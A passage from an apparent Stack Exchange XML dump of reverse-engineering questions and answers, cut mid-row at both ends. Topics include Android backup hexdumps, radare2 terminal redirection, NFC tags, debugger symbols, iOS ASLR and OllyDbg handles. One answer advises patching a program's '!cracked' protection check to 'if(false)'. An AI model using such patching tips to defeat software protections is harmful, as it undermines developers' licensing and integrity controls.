2f 74 68 65 72 6d 61 6c  |/etc/.tp/thermal| //file path&#xA;0060f210  2e 63 6f 6e 66 0a 30 00  00 00 00 00 00 00 00 00  |.conf.0.........|&#xA;0060f220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00610200  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......| //next JPEG starts&#xA;00610210  00 01 00 00 ff db 00 43  00 01 01 01 01 01 01 01  |.......C........|&#xA;00610220  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|&#xA;*&#xA;00610250  01 01 01 01 01 01 01 01  01 ff db 00 43 01 01 01  |............C...|&#xA;00610260  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|&#xA;*&#xA;00610290  01 01 01 01 01 01 01 01  01 01 01 01 01 01 ff c0  |................|&#xA;006102a0  00 11 08 00 60 00 60 03  01 22 00 02 11 01 03 11  |....`.`..&quot;......|&#xA;006102b0  01 ff c4 00 1f 00 00 01  05 01 01 01 01 01 01 00  |................|&#xA;006102c0  00 00 00 00 00 00 00 01  02 03 04 05 06 07 08 09  |................|&#xA;006102d0  0a 0b ff c4 00 b5 10 00  02 01 03 03 02 04 03 05  |................|&#xA;006102e0  05 04 04 00 00 01 7d 01  02 03 00 04 11 05 12 21  |......}........!|&#xA;006102f0  31 41 06 13 51 61 07 22  71 14 32 81 91 a1 08 23  |1A..Qa.&quot;q.2....#|&#xA;00610300  42 b1 c1 15 52 d1 f0 24  33 62 72 82 09 0a 16 17  |B...R..$3br.....|&#xA;00610310  18 19 1a 25 26 27 28 29  2a 34 35 36 37 38 39 3a  |...%&amp;'()*456789:|&#xA;00610320  43 44 45 46 47 48 49 4a  53 54 55 56 57 58 59 5a  |CDEFGHIJSTUVWXYZ|&#xA;00610330  63 64 65 66 67 68 69 6a  73 74 75 76 77 78 79 7a  |cdefghijstuvwxyz|&#xA;...&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need more information or more snippets, please just let me know. For privacy reasons I don't want to post the entire file, it would also be too big for an upload. I'm interested in your ideas on how to go on in analyzing the file or unpacking it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2:&#xA;What I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;appended all files together, at first with 512 bytes cutted of the first file, after that with 512 bytes cutted of all files. Results of both tries:&lt;pre&gt;mount -t ext4 combined.img /mnt/ext4_image/&lt;/pre&gt;&#xA;Works (no output from command, file is mounted), but directory is empty. Tried the same on windows with an application that supports ext4, shows an empty directory named &quot;data&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;used simg2img:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;simg2img combined.img combined.raw&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;Invalid sparse file format at header magi&#xA;Failed to read sparse file&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;unpacking with tar/gunzip:&#xA;File doesn't seem to be a tar/zip file, tried that with and without the offset of 512 bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21759" LastEditorUserId="21759" LastEditDate="2017-10-03T14:28:08.440" LastActivityDate="2018-01-01T17:02:53.260" Title="File analysis with hexdump - unknown container" Tags="|binary-analysis|file-format|hex|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16428" PostTypeId="1" AcceptedAnswerId="16430" CreationDate="2017-09-28T07:07:56.910" Score="18" ViewCount="4705" Body="&lt;p&gt;I have been trying to figure this out for quite some time now, and would really need some help. Firstly, some intro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running the newest version of radare2 from Github on a 64bit Ubuntu 16.04 and have the following sample program &lt;code&gt;r2_test.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    int num;&#xA;&#xA;    while (1)&#xA;    {&#xA;        printf(&quot;Enter a number: &quot;);&#xA;        scanf(&quot;%d&quot;, &amp;amp;num);&#xA;        printf(&quot;You entered: %d\n&quot;, num);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am trying to achieve is to debug this program using radare2 and two terminals in a way that I run radare2 in terminal window &lt;code&gt;T1&lt;/code&gt; and have the programs input/output in terminal window &lt;code&gt;T2&lt;/code&gt;. After some research I figured that this should probably be done with the help of &lt;code&gt;rarun2&lt;/code&gt; tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for my first try I read the &lt;a href=&quot;https://github.com/radare/radare2/blob/master/man/rarun2.1#L139&quot; rel=&quot;noreferrer&quot;&gt;man page&lt;/a&gt; for rarun2, specifically the part with redirecting IO to another terminal and after identifying the &lt;code&gt;T2&lt;/code&gt; terminal as &lt;code&gt;/dev/pts/17&lt;/code&gt; I created the following &lt;code&gt;test.rr2&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdio=/dev/pts/17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;T2&lt;/code&gt; terminal I've then run &lt;code&gt;sleep 999999&lt;/code&gt; and in terminal &lt;code&gt;T1&lt;/code&gt; I run &lt;code&gt;r2 -R test.rr2 -d a.out&lt;/code&gt; and when executing the command &lt;code&gt;dc&lt;/code&gt; inside radare2, the programs input/output is in terminal &lt;code&gt;T1&lt;/code&gt; which is not what I wanted. I've also tried variations like making &lt;code&gt;test.rr2&lt;/code&gt; equal &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdin=/dev/pts/17&#xA;stdout=/dev/pts/17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdio=/dev/pts/17&#xA;stdin=/dev/pts/17&#xA;stdout=/dev/pts/17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the result was always the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my second try, after some research and reading, I tried running the radare2 in the following way: &lt;code&gt;r2 -d rarun2 program=a.out stdio=/dev/pts/17&lt;/code&gt;. With this I've achieved redirecting the IO to terminal &lt;code&gt;T2&lt;/code&gt;, but the process which gets debugged inside radare2 is the rarun2 tool and since my knowledge of Linux and reverse engineering on it is not that good, I don't really know how to proceed to debugging the &lt;code&gt;a.out&lt;/code&gt; process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to summarize, I would really appreciate if someone could share here if this kind of debugging can be done with radare2 and, if it can, how to achieve it? I've also tried it with using &lt;code&gt;nc&lt;/code&gt;, but I haven't made any progress to this topic with it.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2018-11-10T07:11:38.103" Title="Debugging with radare2 using two terminals" Tags="|debugging|linux|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16430" PostTypeId="2" ParentId="16428" CreationDate="2017-09-28T08:42:39.337" Score="28" Body="&lt;p&gt;It is actually very simple and works for me just fine as you can see in the following gif:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/LqrnYRP.gif&quot; alt=&quot;Direct link&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First you need to figure out the &lt;code&gt;tty&lt;/code&gt; of the terminal you want to redirect the &lt;code&gt;STDIO&lt;/code&gt; to (a.k.a Terminal 2, &lt;em&gt;T2&lt;/em&gt;).&#xA;You can do this  by simply execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tty&#xA;/dev/pts/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;tty&lt;/code&gt; will soon be used on the &lt;code&gt;rarun2&lt;/code&gt; profile file.&#xA;Meantime, let's put &lt;em&gt;T2&lt;/em&gt; to sleep by using &lt;code&gt;sleep 999999&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving to &lt;em&gt;Terminal 1&lt;/em&gt;, let's create a simple &lt;code&gt;rarun2&lt;/code&gt; profile with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdio=/dev/pts/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We configured &lt;code&gt;stdio&lt;/code&gt; to transfer the &lt;em&gt;standard input and output&lt;/em&gt; to &lt;em&gt;T2&lt;/em&gt;.&#xA;Now let's execute our program with the profile we've just created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -e dbg.profile=profile.rr2 -d a.out  &#xA;Process with PID 14074 started...&#xA;= attach 14074 14074&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;Assuming filepath /tmp/re/a.out&#xA;asm.bits 64&#xA; -- Mind that the 'g' in radare is silent&#xA;[0x7f9654e0fd80]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;The same can be done using:&lt;/em&gt; &lt;code&gt;r2 -r profile.rr2 -d a.out&lt;/code&gt;)&lt;br&gt;&#xA;The program successfully loaded in debug mode. Now just for the example, let's put a &lt;em&gt;breakpoint&lt;/em&gt; on the second call to &lt;code&gt;printf&lt;/code&gt; and start the program using &lt;code&gt;dc&lt;/code&gt;. In the &lt;em&gt;gif&lt;/em&gt; I was not creating a breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f9654e0fd80]&amp;gt; db 0x00400580&#xA;[0x7f9654e0fd80]&amp;gt; dc&#xA;Selecting and continuing: 14074&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;em&gt;T2&lt;/em&gt; gives us the output and asks for our input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter a number:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After we send it a digit our breakpoint on &lt;em&gt;T1&lt;/em&gt; hit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hit breakpoint at: 400580&#xA;[0x00400580]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can now continue the execution using &lt;code&gt;dc&lt;/code&gt;, the loop would continue forever and the Standard Input and Output will be in T2.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-11-10T07:11:38.103" LastActivityDate="2018-11-10T07:11:38.103" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16431" PostTypeId="1" CreationDate="2017-09-28T09:49:01.653" Score="3" ViewCount="411" Body="&lt;p&gt;I was curious about a system using NFC and I tried to find out what was the protocol. But after digging few days around, I have the card detected by my reader (acr122u) but that's all I get. I can't have any answer from the card.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nfc-list uses libnfc 1.7.1&#xA;NFC device: ACS / ACR122U PICC Interface opened&#xA;1 ISO14443B-2 ST SRx passive target(s) found:&#xA;ISO/IEC 14443-2B ST SRx (106 kbps) target:&#xA;            UID: 9a  87  18  4e  XX  XX  XX  XX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get more informations on it ? Is it possible this card was only giving its UID ? &lt;/p&gt;&#xA;" OwnerUserId="21765" LastActivityDate="2018-06-08T16:05:16.740" Title="NFC Tag reverse engineering failed by a non-responding tag" Tags="|hardware|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16432" PostTypeId="2" ParentId="16404" CreationDate="2017-09-28T14:29:29.220" Score="0" Body="&lt;p&gt;I'm not sure about straight code editing - sometimes it can't be recompiled correctly due to either obfuscation or bad references, etc. You have to edit the IL instead (lookup the Common Intermediate Language and learn about it). I would suggest, instead of doing != null and !cracked, just do if(false).&lt;/p&gt;&#xA;" OwnerUserId="20698" LastActivityDate="2017-09-28T14:29:29.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16433" PostTypeId="2" ParentId="16426" CreationDate="2017-09-28T16:46:48.633" Score="3" Body="&lt;p&gt;Simply execute &lt;code&gt;downloadsym ntdll&lt;/code&gt; in the command field at the bottom of &lt;em&gt;x32dbg&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the &lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/commands/analysis/symdownload.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Command: symdownload / downloadsym&lt;/strong&gt;&lt;br&gt;&#xA;  Attempt to download a symbol from a Symbol Store.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;arguments&lt;/em&gt;&lt;br&gt;&#xA;  [arg1] - Module name (with or without extension) to attept to download symbols for. When not specified, an attempt will be&#xA;  done to download symbols for all loaded modules.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[arg2]  - Symbol Store URL. When not specified, the default store will&#xA;  be used.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;result&lt;/em&gt;&lt;br&gt;&#xA;  This command does not set any result variables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should retrieve the Debugging Symbols from the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft public symbol server&lt;/a&gt; and update the assembly accordingly.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-09-28T16:46:48.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16434" PostTypeId="2" ParentId="16404" CreationDate="2017-09-28T17:42:23.407" Score="5" Body="&lt;p&gt;Try using &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt;. It includes an ability to inject the recompiled code, and has the same interface as ILSpy. Use &quot;Edit Method&quot; option on the method you're editing, then &quot;Build&quot; and save the assembly. You won't need Reflexil then.&lt;/p&gt;&#xA;" OwnerUserId="20371" LastActivityDate="2017-09-28T17:42:23.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16435" PostTypeId="2" ParentId="16427" CreationDate="2017-09-28T18:32:53.660" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://android.stackexchange.com/questions/141805/how-to-extract-backup-files-created-by-android-stock-recovery&quot;&gt;this post&lt;/a&gt; on Android.SE, the stock backup is either a .tar.gz or an &lt;code&gt;simg&lt;/code&gt; (sparse ext4 image). So, the following is supposed to work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Merge the multiple &lt;code&gt;.backupN&lt;/code&gt; files into one &lt;/li&gt;&#xA;&lt;li&gt;Cut off the first 512 bytes (it probably contains some non-critical metadata)&lt;/li&gt;&#xA;&lt;li&gt;try unpacking with tar/gzip. If it doesn't work, go to next step.&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;simg2img&lt;/code&gt; on it&lt;/li&gt;&#xA;&lt;li&gt;mount as an ext4fs image or use an extractor program.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-28T18:32:53.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16436" PostTypeId="1" CreationDate="2017-09-28T18:36:13.413" Score="0" ViewCount="155" Body="&lt;p&gt;I have been looking around quite a bit on the internet for something that could tell me more than basic section on a binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a PE file and usually I see just what compiled it (MSVS or GCC ... ect ), but not necessarily if the file was compiled on a Russian file system. I ran strings on it and I see lots of items thrown in by the compiler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to see what the file was compiled on or anything to identify my authors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. Let me know if you need anymore info please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-09-29T07:58:37.513" Title="How can I tell if a virus was made by Russians?" Tags="|binary-analysis|decompilation|pe|binary-diagnosis|" AnswerCount="1" CommentCount="4" ClosedDate="2017-10-01T15:05:45.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="16438" PostTypeId="1" AcceptedAnswerId="16459" CreationDate="2017-09-28T23:16:52.370" Score="0" ViewCount="290" Body="&lt;p&gt;On a jailbroken iOS device, I have successfully decrypted an app, and disabled ASLR, thanks to the hundredth of tutorials available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, none explain how relaunch the app once ASLR has been disabled. How to do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried copy and paste the app binary in the installation folder, but this fails to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, disabling the ASLR is useful to be able to find procedure's adresses using, say, Hopper, and then put breakpoints at these adresses in the app while using it. Am I wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if my workflow is the correct one. At the end I would like to use Hopper as a static analyser and setting breakpoints using lldb dynamically. Is it the correct way ?&lt;/p&gt;&#xA;" OwnerUserId="21774" LastActivityDate="2017-10-01T09:32:06.580" Title="How relaunch iOS app once ASLR has been disabled?" Tags="|ios|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16439" PostTypeId="2" ParentId="16436" CreationDate="2017-09-29T02:27:28.233" Score="1" Body="&lt;p&gt;Code and binary is really, really hard. People who say it's easy are either stupid or want to sell you something. On the other hand, it's relatively easy if the code in question is created by a completely naive person or they really don't give a damn if it being attributed to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general education try some results of this search &lt;a href=&quot;https://www.google.com.au/search?q=attribution+in+infosec+is+hard&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com.au/search?q=attribution+in+infosec+is+hard&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I recall seeing some research in attributing code and even binaries (at least to compilers) based on statistical methods, but I cannot recall where. Perhaps I imagined it.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-09-29T02:27:28.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16442" PostTypeId="1" AcceptedAnswerId="16443" CreationDate="2017-09-29T08:31:46.153" Score="2" ViewCount="7963" Body="&lt;p&gt;I see those in a debugger (&lt;a href=&quot;https://en.wikipedia.org/wiki/OllyDbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt;, handles subwindow), but I never meet an explanation on what those are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full content of it, and to be honest I want to know the meaning of all of this. There are suspiciously a lot of &lt;code&gt;NamedBuffer&lt;/code&gt;, and I wonder if it's the same for other computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I learned that I can switch between native (&lt;code&gt;\REGISTRY\MACHINE&lt;/code&gt;) and translated (&lt;code&gt;HKEY_LOCAL_MACHINE&lt;/code&gt;) names by pressing &lt;kbd&gt;Tab&lt;/kbd&gt;. It works for registry paths and file paths.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Handles&#xA;Handle     Type             Refs    Access     T    Info          Name&#xA;00000028   ALPC Port           4.   001F0001&#xA;0000004C   Desktop          1737.   000F01FF                      \Default&#xA;00000008   Directory          91.   00000003                      \KnownDlls&#xA;0000000C   Directory          53.   00000003                      \KnownDlls32&#xA;00000018   Directory          53.   00000003                      \KnownDlls32&#xA;00000070   Directory        2028.   0000000F                      \Sessions\1\BaseNamedObjects&#xA;0000003C   Event               2.   001F0003&#xA;00000044   Event               3.   001F0003&#xA;00000058   Event               2.   001F0003&#xA;0000005C   Event               2.   001F0003&#xA;00000060   Event               2.   001F0003&#xA;00000064   Event               2.   001F0003&#xA;00000068   Event               2.   001F0003&#xA;0000006C   Event               2.   001F0003&#xA;0000007C   File (dev)          2.   00100003                      \FileSystem\Filters\FltMgrMsg&#xA;00000010   File (dir)          2.   00100020                      \Device\HarddiskVolume1\Windows&#xA;0000001C   File (dir)          2.   00100020                      \Device\HarddiskVolume1\shared\debugger&#xA;00000004   Key                 2.   00000009                      \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&#xA;00000014   Key                 2.   00000009                      \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&#xA;00000020   Key                 2.   00020019                      \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions&#xA;00000024   Key                 2.   00000001                      \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SESSION MANAGER&#xA;00000038   Key                 2.   000F003F                      \REGISTRY\MACHINE&#xA;00000034   Mutant              2.   001F0001&#xA;00000080   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\mchLLEW2$1360&#xA;00000084   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5f9e0&#xA;00000088   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\AutoUnhookMap$00001360$73ec0000&#xA;0000008C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $71ac0000&#xA;00000094   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a7dffe&#xA;00000098   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $73e812c6&#xA;0000009C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $73e82384&#xA;000000A0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $76fef792&#xA;000000A4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75db3be3&#xA;000000A8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $76e69d0b&#xA;000000AC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b77ba4&#xA;000000B0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b7ea03&#xA;000000B4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b7b986&#xA;000000B8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b758b3&#xA;000000BC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75dccd11&#xA;000000C0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75db9ae4&#xA;000000C4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75e1dd76&#xA;000000C8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75e1de19&#xA;000000CC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75dc3baa&#xA;000000D0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b75ea5&#xA;000000D4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b7cc01&#xA;000000D8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ba4969&#xA;000000DC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75b7ba5f&#xA;000000E0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f202bf&#xA;000000E4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f2027b&#xA;000000E8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed835c&#xA;000000EC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed7603&#xA;000000F0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ecee09&#xA;000000F4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed6110&#xA;000000F8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ec8332&#xA;000000FC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed3baa&#xA;00000100   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed12a5&#xA;00000104   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed3c61&#xA;00000108   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ec8bff&#xA;0000010C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed612e&#xA;00000110   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ec9679&#xA;00000114   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed781f&#xA;00000118   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ec97d2&#xA;0000011C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f26cfc&#xA;00000120   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed76e0&#xA;00000124   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f26d5d&#xA;00000128   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed7668&#xA;0000012C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75eec112&#xA;00000130   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75eed0f5&#xA;00000134   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75eeff4a&#xA;00000138   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75eeec68&#xA;0000013C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed291f&#xA;00000140   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75eeeb96&#xA;00000144   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f288eb&#xA;00000148   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed2d64&#xA;0000014C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed3698&#xA;00000150   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75edc4b6&#xA;00000154   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f27dd7&#xA;00000158   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f09f1d&#xA;0000015C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ecefc9&#xA;00000160   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed6c30&#xA;00000164   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ec90d3&#xA;00000168   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75ed2da4&#xA;0000016C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $75f11497&#xA;00000170   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60550&#xA;00000174   Section             3.   000F0007                      